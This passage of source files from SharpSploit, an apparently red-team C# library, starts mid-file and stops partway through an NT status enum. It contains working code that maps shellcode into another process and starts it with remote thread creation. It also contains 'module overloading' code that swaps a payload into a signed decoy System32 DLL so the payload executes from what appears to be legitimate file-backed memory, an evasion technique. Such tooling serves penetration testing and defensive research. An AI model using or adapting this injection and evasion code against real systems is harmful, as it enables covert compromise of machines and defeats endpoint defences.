162 | /// Base address of allocated memory within the target process's virtual memory space.
163 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
164 | {
165 | // Get a convenient handle for the target process.
166 | IntPtr procHandle = Process.Handle;
167 |
168 | // Create a section to hold our payload
169 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);
170 |
171 | // Map a view of the section into our current process with RW permissions
172 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
173 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));
174 |
175 | // Copy the shellcode to the local view
176 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);
177 |
178 | // Now that we are done with the mapped view in our own process, unmap it
179 | Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);
180 |
181 | // Now, map a view of the section to other process. It should already hold the payload.
182 |
183 | SectionDetails newDetails;
184 |
185 | if (PreferredAddress != IntPtr.Zero)
186 | {
187 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
188 | // Refer to MSDN documentation on ZwMapViewOfSection for details.
189 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
190 | }
191 | else
192 | {
193 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
194 | }
195 | return newDetails.baseAddr;
196 | }
197 |
198 | ///
199 | /// Creates a new Section.
200 | ///
201 | /// The Wover (@TheRealWover)
202 | /// Max size of the Section.
203 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT).
204 | ///
205 | private static IntPtr CreateSection(ulong size, uint allocationAttributes)
206 | {
207 | // Create a pointer for the section handle
208 | IntPtr SectionHandle = new IntPtr();
209 | ulong maxSize = size;
210 |
211 | Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
212 | ref SectionHandle,
213 | 0x10000000,
214 | IntPtr.Zero,
215 | ref maxSize,
216 | Win32.WinNT.PAGE_EXECUTE_READWRITE,
217 | allocationAttributes,
218 | IntPtr.Zero
219 | );
220 | // Perform error checking on the result
221 | if (result < 0)
222 | {
223 | return IntPtr.Zero;
224 | }
225 | return SectionHandle;
226 | }
227 |
228 | ///
229 | /// Maps a view of a section to the target process.
230 | ///
231 | /// The Wover (@TheRealWover)
232 | /// Handle the process that the section will be mapped to.
233 | /// Handle to the section.
234 | /// What permissions to use on the view.
235 | /// Optional parameter to specify the address of where to map the view.
236 | /// Size of the view to map. Must be smaller than the max Section size.
237 | /// A struct containing address and size of the mapped view.
238 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
239 | {
240 | // Copied so that they may be passed by reference but the original value preserved
241 | IntPtr baseAddr = addr;
242 | ulong size = sizeData;
243 |
244 | uint disp = 2;
245 | uint alloc = 0;
246 |
247 | // Returns an NTSTATUS value
248 | Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
249 | sectionHandle, procHandle,
250 | ref baseAddr,
251 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
252 | ref size, disp, alloc,
253 | protection
254 | );
255 |
256 | // Create a struct to hold the results.
257 | SectionDetails details = new SectionDetails(baseAddr, sizeData);
258 |
259 | return details;
260 | }
261 |
262 |
263 | ///
264 | /// Holds the data returned from NtMapViewOfSection.
265 | ///
266 | public struct SectionDetails
267 | {
268 | public IntPtr baseAddr;
269 | public ulong size;
270 |
271 | public SectionDetails(IntPtr addr, ulong sizeData)
272 | {
273 | baseAddr = addr;
274 | size = sizeData;
275 | }
276 | }
277 |
278 | ///
279 | /// Unmaps a view of a section from a process.
280 | ///
281 | /// The Wover (@TheRealWover)
282 | /// Process to which the view has been mapped.
283 | /// Address of the view (relative to the target process)
284 | ///
285 | public static Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr)
286 | {
287 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr);
288 | }
289 | }
290 | }
291 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Injection/Execution.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | namespace SharpSploit.Execution.Injection
7 | {
8 | ///
9 | /// Base class for Injection strategies.
10 | ///
11 | public abstract class ExecutionTechnique
12 | {
13 |
14 | //An array containing a set of PayloadType objects that are supported.
15 | protected Type[] supportedPayloads;
16 |
17 | ///
18 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
19 | ///
20 | /// The Wover (@TheRealWover)
21 | /// A payload.
22 | /// Whether or not the payload is of a supported type for this strategy.
23 | public abstract bool IsSupportedPayloadType(PayloadType payload);
24 |
25 | ///
26 | /// Internal method for setting the supported payload types. Used in constructors.
27 | ///
28 | /// The Wover (@TheRealWover)
29 | abstract internal void DefineSupportedPayloadTypes();
30 |
31 | ///
32 | /// Inject and execute a payload in the target process using a specific allocation technique.
33 | ///
34 | /// The Wover (@TheRealWover)
35 | /// The type of payload to execute.
36 | /// The allocation technique to use.
37 | /// The target process.
38 | /// bool
39 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process)
40 | {
41 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()};
42 |
43 | try
44 | {
45 | // Get delegate to the overload of Inject that supports the type of payload passed in
46 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
47 |
48 | // Dynamically invoke the appropriate Allocate overload
49 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process });
50 | }
51 | // If there is no such method
52 | catch (ArgumentNullException)
53 | {
54 | throw new PayloadTypeNotSupported(Payload.GetType());
55 | }
56 | }
57 |
58 | ///
59 | /// Execute a payload in the target process at a specified address.
60 | ///
61 | /// The Wover (@TheRealWover)
62 | /// The type of payload to execute.
63 | /// The base address of the payload.
64 | /// The target process.
65 | /// bool
66 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process)
67 | {
68 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() };
69 |
70 | try
71 | {
72 | // Get delegate to the overload of Inject that supports the type of payload passed in
73 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
74 |
75 | // Dynamically invoke the appropriate Allocate overload
76 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process });
77 | }
78 | // If there is no such method
79 | catch (ArgumentNullException)
80 | {
81 | throw new PayloadTypeNotSupported(Payload.GetType());
82 | }
83 | }
84 |
85 | ///
86 | /// Execute a payload in the current process using a specific allocation technique.
87 | ///
88 | /// The Wover (@TheRealWover)
89 | /// The type of payload to execute.
90 | /// The allocation technique to use.
91 | ///
92 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique)
93 | {
94 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()};
95 |
96 | try
97 | {
98 | // Get delegate to the overload of Inject that supports the type of payload passed in
99 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype);
100 |
101 | // Dynamically invoke the appropriate Allocate overload
102 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique });
103 | }
104 | // If there is no such method
105 | catch (ArgumentNullException)
106 | {
107 | throw new PayloadTypeNotSupported(Payload.GetType());
108 | }
109 | }
110 | }
111 |
112 |
113 | ///
114 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation.
115 | ///
116 | public class RemoteThreadCreate : ExecutionTechnique
117 | {
118 | // Publically accessible options
119 | public bool suspended = false;
120 | public APIS api = APIS.NtCreateThreadEx;
121 |
122 | public enum APIS : int
123 | {
124 | NtCreateThreadEx = 0,
125 | // NtCreateThread = 1, // Not implemented
126 | RtlCreateUserThread = 2,
127 | CreateRemoteThread = 3
128 | };
129 |
130 | // Handle of the new thread. Only valid after the thread has been created.
131 | public IntPtr handle = IntPtr.Zero;
132 |
133 | ///
134 | /// Default constructor.
135 | ///
136 | public RemoteThreadCreate()
137 | {
138 | DefineSupportedPayloadTypes();
139 | }
140 |
141 | ///
142 | /// Constructor allowing options as arguments.
143 | ///
144 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx)
145 | {
146 | DefineSupportedPayloadTypes();
147 | suspended = susp;
148 | api = varAPI;
149 | }
150 |
151 | ///
152 | /// States whether the payload is supported.
153 | ///
154 | /// The Wover (@TheRealWover)
155 | /// Payload that will be allocated.
156 | ///
157 | public override bool IsSupportedPayloadType(PayloadType Payload)
158 | {
159 | return supportedPayloads.Contains(Payload.GetType());
160 | }
161 |
162 | ///
163 | /// Internal method for setting the supported payload types. Used in constructors.
164 | /// Update when new types of payloads are added.
165 | ///
166 | /// The Wover (@TheRealWover)
167 | internal override void DefineSupportedPayloadTypes()
168 | {
169 | // Defines the set of supported payload types.
170 | supportedPayloads = new Type[] {
171 | typeof(PICPayload)
172 | };
173 | }
174 |
175 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process)
176 | {
177 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process);
178 | return Inject(Payload, baseAddr, Process);
179 | }
180 |
181 | ///
182 | /// Create a thread in the remote process.
183 | ///
184 | /// The Wover (@TheRealWover)
185 | /// The shellcode payload to execute in the target process.
186 | /// The address of the shellcode in the target process.
187 | /// The target process to inject into.
188 | ///
189 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process)
190 | {
191 | IntPtr threadHandle = new IntPtr();
192 | Native.NTSTATUS result = Native.NTSTATUS.Unsuccessful;
193 |
194 | if (api == APIS.NtCreateThreadEx)
195 | {
196 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
197 | result = DynamicInvoke.Native.NtCreateThreadEx(
198 | ref threadHandle,
199 | Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
200 | IntPtr.Zero,
201 | Process.Handle, BaseAddress, IntPtr.Zero,
202 | suspended, 0, 0, 0, IntPtr.Zero
203 | );
204 | }
205 | else if (api == APIS.RtlCreateUserThread)
206 | {
207 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
208 | result = DynamicInvoke.Native.RtlCreateUserThread(
209 | Process.Handle,
210 | IntPtr.Zero,
211 | suspended,
212 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
213 | BaseAddress,
214 | IntPtr.Zero, ref threadHandle, IntPtr.Zero
215 | );
216 | }
217 | else if (api == APIS.CreateRemoteThread)
218 | {
219 | uint flags = suspended ? (uint)0x00000004 : 0;
220 | IntPtr threadid = new IntPtr();
221 |
222 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process.
223 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread(
224 | Process.Handle,
225 | IntPtr.Zero,
226 | 0,
227 | BaseAddress,
228 | IntPtr.Zero,
229 | flags,
230 | ref threadid
231 | );
232 |
233 | if (threadHandle == IntPtr.Zero)
234 | {
235 | return false;
236 | }
237 | handle = threadHandle;
238 | return true;
239 | }
240 |
241 | // If successful, return the handle to the new thread. Otherwise return NULL
242 | if (result == Native.NTSTATUS.Unsuccessful || result <= Native.NTSTATUS.Success)
243 | {
244 | return false;
245 | }
246 | handle = threadHandle;
247 | return true;
248 | }
249 | }
250 | }
251 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Injection/Injector.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 |
3 | namespace SharpSploit.Execution.Injection
4 | {
5 | ///
6 | /// Provides static functions for performing injection using a combination of Allocation and Execution components.
7 | ///
8 | /// The Wover (@TheRealWover)
9 | public static class Injector
10 | {
11 | ///
12 | /// Inject a payload into a target process using a specified allocation and execution technique.
13 | ///
14 | /// The Wover (@TheRealWover)
15 | ///
16 | ///
17 | ///
18 | ///
19 | ///
20 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process)
21 | {
22 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process);
23 | }
24 |
25 | ///
26 | /// Inject a payload into the current process using a specified allocation and execution technique.
27 | ///
28 | ///
29 | ///
30 | ///
31 | ///
32 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique)
33 | {
34 | return ExecutionTechnique.Inject(Payload, AllocationTechnique);
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Injection/Payload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSploit.Execution.Injection
4 | {
5 | ///
6 | /// Base class for all types of payloads.
7 | /// Variants are responsible for specifying what types of payloads they support.
8 | ///
9 | /// The Wover (@TheRealWover)
10 | public abstract class PayloadType
11 | {
12 | public byte[] Payload { get; private set; }
13 |
14 | // Constructor that requires the user to pass in the payload as a byte array.
15 | protected PayloadType(byte[] data)
16 | {
17 | Payload = data;
18 | }
19 | }
20 |
21 | ///
22 | /// Represents payloads that are position-independent-code.
23 | ///
24 | /// The Wover (@TheRealWover)
25 | public class PICPayload : PayloadType
26 | {
27 | // Declares the constructor as equivalent to that of the base class.
28 | public PICPayload(byte[] data) : base(data) { }
29 | }
30 |
31 | ///
32 | /// Exception thrown when the type of a payload is not supported by a injection variant.
33 | ///
34 | /// The Wover (@TheRealWover)
35 | public class PayloadTypeNotSupported : Exception
36 | {
37 | public PayloadTypeNotSupported() { }
38 |
39 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { }
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/ManualMap/Overload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 |
8 | using Execute = SharpSploit.Execution;
9 |
10 | namespace SharpSploit.Execution.ManualMap
11 | {
12 | public class Overload
13 | {
14 | ///
15 | /// Locate a signed module with a minimum size which can be used for overloading.
16 | ///
17 | /// The Wover (@TheRealWover)
18 | /// Minimum module byte size.
19 | ///
20 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found.
21 | ///
22 | public static string FindDecoyModule(long MinSize)
23 | {
24 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32";
25 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll"));
26 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)
27 | {
28 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))
29 | {
30 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));
31 | }
32 | }
33 |
34 | Random r = new Random();
35 | List candidates = new List();
36 | while (candidates.Count != files.Count)
37 | {
38 | int rInt = r.Next(0, files.Count);
39 | string currentCandidate = files[rInt];
40 |
41 | if (candidates.Contains(rInt) == false &&
42 | new FileInfo(currentCandidate).Length >= MinSize &&
43 | Misc.Utilities.FileHasValidSignature(currentCandidate) == true)
44 | {
45 | return currentCandidate;
46 | }
47 | candidates.Add(rInt);
48 | }
49 | return string.Empty;
50 | }
51 |
52 | ///
53 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that
54 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
55 | ///
56 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
57 | /// Full path to the payload module on disk.
58 | /// Optional, full path the decoy module to overload in memory.
59 | /// PE.PE_MANUAL_MAP
60 | public static PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null)
61 | {
62 | // Verify process & architecture
63 | bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
64 | if (IntPtr.Size == 4 && isWOW64)
65 | {
66 | throw new InvalidOperationException("Module overloading in WOW64 is not supported.");
67 | }
68 |
69 | // Get approximate size of Payload
70 | if (!File.Exists(PayloadPath))
71 | {
72 | throw new InvalidOperationException("Payload filepath not found.");
73 | }
74 | byte[] Payload = File.ReadAllBytes(PayloadPath);
75 |
76 | return OverloadModule(Payload, DecoyModulePath);
77 | }
78 |
79 | ///
80 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that
81 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.
82 | ///
83 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
84 | /// Full byte array for the payload module.
85 | /// Optional, full path the decoy module to overload in memory.
86 | /// PE.PE_MANUAL_MAP
87 | public static PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null)
88 | {
89 | // Verify process & architecture
90 | bool isWOW64 = DynamicInvoke.Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
91 | if (IntPtr.Size == 4 && isWOW64)
92 | {
93 | throw new InvalidOperationException("Module overloading in WOW64 is not supported.");
94 | }
95 |
96 | // Did we get a DecoyModule?
97 | if (!string.IsNullOrEmpty(DecoyModulePath))
98 | {
99 | if (!File.Exists(DecoyModulePath))
100 | {
101 | throw new InvalidOperationException("Decoy filepath not found.");
102 | }
103 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);
104 | if (DecoyFileBytes.Length < Payload.Length)
105 | {
106 | throw new InvalidOperationException("Decoy module is too small to host the payload.");
107 | }
108 | }
109 | else
110 | {
111 | DecoyModulePath = FindDecoyModule(Payload.Length);
112 | if (string.IsNullOrEmpty(DecoyModulePath))
113 | {
114 | throw new InvalidOperationException("Failed to find suitable decoy module.");
115 | }
116 | }
117 |
118 | // Map decoy from disk
119 | Execute.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);
120 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
121 |
122 | // Change permissions to RW
123 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Execute.Win32.WinNT.PAGE_READWRITE);
124 |
125 | // Zero out memory
126 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
127 |
128 | // Overload module in memory
129 | PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
130 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
131 |
132 | return OverloadedModuleMetaData;
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/Native.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace SharpSploit.Execution
5 | {
6 | ///
7 | /// Native is a library of enums and structures for Native (NtDll) API functions.
8 | ///
9 | ///
10 | /// A majority of this library is adapted from signatures found at www.pinvoke.net.
11 | ///
12 | public static class Native
13 | {
14 | [StructLayout(LayoutKind.Sequential)]
15 | public struct UNICODE_STRING
16 | {
17 | public UInt16 Length;
18 | public UInt16 MaximumLength;
19 | public IntPtr Buffer;
20 | }
21 |
22 | [StructLayout(LayoutKind.Sequential)]
23 | public struct ANSI_STRING
24 | {
25 | public UInt16 Length;
26 | public UInt16 MaximumLength;
27 | public IntPtr Buffer;
28 | }
29 |
30 | public struct PROCESS_BASIC_INFORMATION
31 | {
32 | public IntPtr ExitStatus;
33 | public IntPtr PebBaseAddress;
34 | public IntPtr AffinityMask;
35 | public IntPtr BasePriority;
36 | public UIntPtr UniqueProcessId;
37 | public int InheritedFromUniqueProcessId;
38 |
39 | public int Size
40 | {
41 | get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
42 | }
43 | }
44 |
45 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
46 | public struct OBJECT_ATTRIBUTES
47 | {
48 | public Int32 Length;
49 | public IntPtr RootDirectory;
50 | public IntPtr ObjectName; // -> UNICODE_STRING
51 | public uint Attributes;
52 | public IntPtr SecurityDescriptor;
53 | public IntPtr SecurityQualityOfService;
54 | }
55 |
56 | [StructLayout(LayoutKind.Sequential)]
57 | public struct IO_STATUS_BLOCK
58 | {
59 | public IntPtr Status;
60 | public IntPtr Information;
61 | }
62 |
63 | [StructLayout(LayoutKind.Sequential)]
64 | public struct CLIENT_ID
65 | {
66 | public IntPtr UniqueProcess;
67 | public IntPtr UniqueThread;
68 | }
69 |
70 | [StructLayout(LayoutKind.Sequential)]
71 | public struct OSVERSIONINFOEX
72 | {
73 | public uint OSVersionInfoSize;
74 | public uint MajorVersion;
75 | public uint MinorVersion;
76 | public uint BuildNumber;
77 | public uint PlatformId;
78 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
79 | public string CSDVersion;
80 | public ushort ServicePackMajor;
81 | public ushort ServicePackMinor;
82 | public ushort SuiteMask;
83 | public byte ProductType;
84 | public byte Reserved;
85 | }
86 |
87 | [StructLayout(LayoutKind.Sequential)]
88 | public struct LIST_ENTRY
89 | {
90 | public IntPtr Flink;
91 | public IntPtr Blink;
92 | }
93 |
94 | public enum MEMORYINFOCLASS : int
95 | {
96 | MemoryBasicInformation = 0,
97 | MemoryWorkingSetList,
98 | MemorySectionName,
99 | MemoryBasicVlmInformation
100 | }
101 |
102 | public enum PROCESSINFOCLASS : int
103 | {
104 | ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
105 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
106 | ProcessIoCounters, // q: IO_COUNTERS
107 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
108 | ProcessTimes, // q: KERNEL_USER_TIMES
109 | ProcessBasePriority, // s: KPRIORITY
110 | ProcessRaisePriority, // s: ULONG
111 | ProcessDebugPort, // q: HANDLE
112 | ProcessExceptionPort, // s: HANDLE
113 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
114 | ProcessLdtInformation, // 10
115 | ProcessLdtSize,
116 | ProcessDefaultHardErrorMode, // qs: ULONG
117 | ProcessIoPortHandlers, // (kernel-mode only)
118 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
119 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
120 | ProcessUserModeIOPL,
121 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
122 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
123 | ProcessWx86Information,
124 | ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
125 | ProcessAffinityMask, // s: KAFFINITY
126 | ProcessPriorityBoost, // qs: ULONG
127 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
128 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
129 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
130 | ProcessWow64Information, // q: ULONG_PTR
131 | ProcessImageFileName, // q: UNICODE_STRING
132 | ProcessLUIDDeviceMapsEnabled, // q: ULONG
133 | ProcessBreakOnTermination, // qs: ULONG
134 | ProcessDebugObjectHandle, // 30, q: HANDLE
135 | ProcessDebugFlags, // qs: ULONG
136 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
137 | ProcessIoPriority, // qs: ULONG
138 | ProcessExecuteFlags, // qs: ULONG
139 | ProcessResourceManagement,
140 | ProcessCookie, // q: ULONG
141 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
142 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
143 | ProcessPagePriority, // q: ULONG
144 | ProcessInstrumentationCallback, // 40
145 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
146 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
147 | ProcessImageFileNameWin32, // q: UNICODE_STRING
148 | ProcessImageFileMapping, // q: HANDLE (input)
149 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
150 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
151 | ProcessGroupInformation, // q: USHORT[]
152 | ProcessTokenVirtualizationEnabled, // s: ULONG
153 | ProcessConsoleHostProcess, // q: ULONG_PTR
154 | ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
155 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
156 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
157 | ProcessDynamicFunctionTableInformation,
158 | ProcessHandleCheckingMode,
159 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
160 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
161 | MaxProcessInfoClass
162 | };
163 |
164 | ///
165 | /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html
166 | ///
167 | public enum NT_CREATION_FLAGS : ulong
168 | {
169 | CREATE_SUSPENDED = 0x00000001,
170 | SKIP_THREAD_ATTACH = 0x00000002,
171 | HIDE_FROM_DEBUGGER = 0x00000004,
172 | HAS_SECURITY_DESCRIPTOR = 0x00000010,
173 | ACCESS_CHECK_IN_TARGET = 0x00000020,
174 | INITIAL_THREAD = 0x00000080
175 | }
176 |
177 | ///
178 | /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
179 | /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
180 | ///
181 | public enum NTSTATUS : uint
182 | {
183 | // Success
184 | Success = 0x00000000,
185 | Wait0 = 0x00000000,
186 | Wait1 = 0x00000001,
187 | Wait2 = 0x00000002,
188 | Wait3 = 0x00000003,
189 | Wait63 = 0x0000003f,
190 | Abandoned = 0x00000080,
191 | AbandonedWait0 = 0x00000080,
192 | AbandonedWait1 = 0x00000081,
193 | AbandonedWait2 = 0x00000082,
194 | AbandonedWait3 = 0x00000083,
195 | AbandonedWait63 = 0x000000bf,
196 | UserApc = 0x000000c0,
197 | KernelApc = 0x00000100,
198 | Alerted = 0x00000101,
199 | Timeout = 0x00000102,
200 | Pending = 0x00000103,
201 | Reparse = 0x00000104,
202 | MoreEntries = 0x00000105,
203 | NotAllAssigned = 0x00000106,
204 | SomeNotMapped = 0x00000107,
205 | OpLockBreakInProgress = 0x00000108,
206 | VolumeMounted = 0x00000109,
207 | RxActCommitted = 0x0000010a,
208 | NotifyCleanup = 0x0000010b,
209 | NotifyEnumDir = 0x0000010c,
210 | NoQuotasForAccount = 0x0000010d,
211 | PrimaryTransportConnectFailed = 0x0000010e,
212 | PageFaultTransition = 0x00000110,
213 | PageFaultDemandZero = 0x00000111,
214 | PageFaultCopyOnWrite = 0x00000112,
215 | PageFaultGuardPage = 0x00000113,
216 | PageFaultPagingFile = 0x00000114,
217 | CrashDump = 0x00000116,
218 | ReparseObject = 0x00000118,
219 | NothingToTerminate = 0x00000122,
220 | ProcessNotInJob = 0x00000123,
221 | ProcessInJob = 0x00000124,
222 | ProcessCloned = 0x00000129,
223 | FileLockedWithOnlyReaders = 0x0000012a,
224 | FileLockedWithWriters = 0x0000012b,
225 |
226 | // Informational
227 | Informational = 0x40000000,
228 | ObjectNameExists = 0x40000000,
229 | ThreadWasSuspended = 0x40000001,
230 | WorkingSetLimitRange = 0x40000002,
231 | ImageNotAtBase = 0x40000003,
232 | RegistryRecovered = 0x40000009,
233 |
234 | // Warning
235 | Warning = 0x80000000,
236 | GuardPageViolation = 0x80000001,
237 | DatatypeMisalignment = 0x80000002,
238 | Breakpoint = 0x80000003,
239 | SingleStep = 0x80000004,
240 | BufferOverflow = 0x80000005,
241 | NoMoreFiles = 0x80000006,
242 | HandlesClosed = 0x8000000a,
243 | PartialCopy = 0x8000000d,
244 | DeviceBusy = 0x80000011,
245 | InvalidEaName = 0x80000013,
246 | EaListInconsistent = 0x80000014,
247 | NoMoreEntries = 0x8000001a,
248 | LongJump = 0x80000026,
249 | DllMightBeInsecure = 0x8000002b,
250 |
251 | // Error
252 | Error = 0xc0000000,
253 | Unsuccessful = 0xc0000001,
254 | NotImplemented = 0xc0000002,
255 | InvalidInfoClass = 0xc0000003,
256 | InfoLengthMismatch = 0xc0000004,
257 | AccessViolation = 0xc0000005,
258 | InPageError = 0xc0000006,
259 | PagefileQuota = 0xc0000007,
260 | InvalidHandle = 0xc0000008,
261 | BadInitialStack = 0xc0000009,
262 | BadInitialPc = 0xc000000a,
263 | InvalidCid = 0xc000000b,
264 | TimerNotCanceled = 0xc000000c,
265 | InvalidParameter = 0xc000000d,
266 | NoSuchDevice = 0xc000000e,
267 | NoSuchFile = 0xc000000f,
268 | InvalidDeviceRequest = 0xc0000010,
269 | EndOfFile = 0xc0000011,
270 | WrongVolume = 0xc0000012,
271 | NoMediaInDevice = 0xc0000013,
272 | NoMemory = 0xc0000017,
273 | ConflictingAddresses = 0xc0000018,
